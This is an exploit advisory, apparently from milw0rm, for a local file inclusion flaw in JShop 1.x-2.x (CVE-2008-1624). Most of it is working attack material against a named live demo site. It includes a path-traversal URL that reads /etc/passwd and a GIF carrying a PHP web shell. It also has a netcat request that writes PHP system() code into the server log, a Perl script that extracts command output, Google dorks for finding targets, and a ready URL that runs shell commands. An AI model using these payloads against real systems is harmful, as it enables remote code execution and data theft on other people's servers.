JShop 1.x < 2.x - 'xPage' Local File Inclusion

Related Vulnerabilities: CVE-2008-1624  
Publish Date: 30 Mar 2008
Author: v0l4arrra
                JShop 1.x-2.x local file include
---------------------------------------------------------------------------------------------------------------------
+ scripts:	Jshop Server 1.x-2.x                                                                                +
+ Discovered By :	v0l4arrra &lt;v0l4arrr[at]gmail[dot]com&gt;                                                       +
+ url:	 www.jshop.co.uk                                                                                            +
+ dork:	"powered by jshop" and also usefull one "allinurl:jssCart=.."                                               +
---------------------------------------------------------------------------------------------------------------------
Go to www.jshop.co.uk and check out demo version...

http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../../../../etc/passwd%00

Then u can upload for example the gif file like this 

$cat 1.gif
GIF89aD
&lt;?php echo system($_GET['cmd']); ?&gt;

or do it like me:
$nc www.jshopecommerce.com 80
GET &lt;?php echo '&lt;start&gt;'; echo system($_GET['cmd']); echo '&lt;/start&gt;'; ?&gt; HTTP/1.1
Host: www.jshopecommerce.com

................................................................................................................
and simple parse the output of error log with lame perl script:

#!/usr/bin/env perl
use strict; use warnings;

#####################################
# This script download log file     #
# and grep the result of the        #
# command in tags &lt;start&gt;..&lt;/start&gt; #
# and print it..                    #
#####################################

use LWP::UserAgent;
use HTTP::Request::Common;

$| = 1;

my $url = $ARGV[0] or print "usage: $0 http://127.0.0.1/vuln.php?page=../../../../../var/log/access.log%00&amp;cmd=ls+-lisa\n" and exit;
my $ua= new LWP::UserAgent;
$ua-&gt;agent("Mozilla/5.0");
my $request = new HTTP::Request( 'GET' =&gt; $url );
my $document = $ua-&gt;request($request);
my $response = $document-&gt;as_string;
$response =~ m%&lt;start&gt;(.*?)&lt;/start&gt;%is;
print $1,"\n";

######################################

so dont waste your time and check it now
http://www.jshopecommerce.com/v2demo/page.php?xPage=../../../../../../../../../../etc/httpd/logs/error_log%00&amp;cmd=ls+-lisa

##########################################

# milw0rm.com [2008-03-30]